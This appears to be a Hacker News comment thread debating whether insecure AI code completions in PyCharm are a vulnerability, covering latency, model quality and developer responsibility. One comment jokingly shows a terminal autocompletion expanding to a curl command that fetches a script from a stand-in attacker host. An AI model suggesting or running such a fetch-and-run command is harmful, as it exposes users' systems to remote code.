logoalt Hacker News

Are insecure code completions in PyCharm a vulnerability?

29 pointsby 12_throw_awaytoday at 1:26 AM13 commentsview on HN

Comments

hackermanaitoday at 7:30 AM

I have this line completion feature in koieditor.com as well, and it's hard to suggest "safe"/good completions at a low latency. Best approach I could think of is a second pass to verify first pass, but adds to latency, or change to better model, which often also impacts latency.

mgc8today at 6:42 AM

Maybe not a vulnerability per se, but definitely conducing to ones, as others have noted. However, those completions are quite unfortunate to say the least, thus one would hope JetBrains would endeavour to improve the local (S)LM they're using, or at least offer the user the option to use one of their own, better tuned ones instead?

stephantultoday at 5:38 AM

It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

sphtoday at 6:32 AM

Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh
Then you’re just an enter away from causing havoc on your system.
show 2 replies
marcosdumaytoday at 4:26 AM

Well, the plugin developers can't really do anything about it.

And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.

chmod775today at 6:34 AM

It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".

frumplestlatztoday at 6:21 AM

What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?

show 1 reply
runningmiketoday at 6:09 AM

“ Are insecure code completions a vulnerability?” No it might be a potential security weakness. Semantics matters.

See also: https://nocomplexity.github.io/pythonsecurity/fundamentals/w...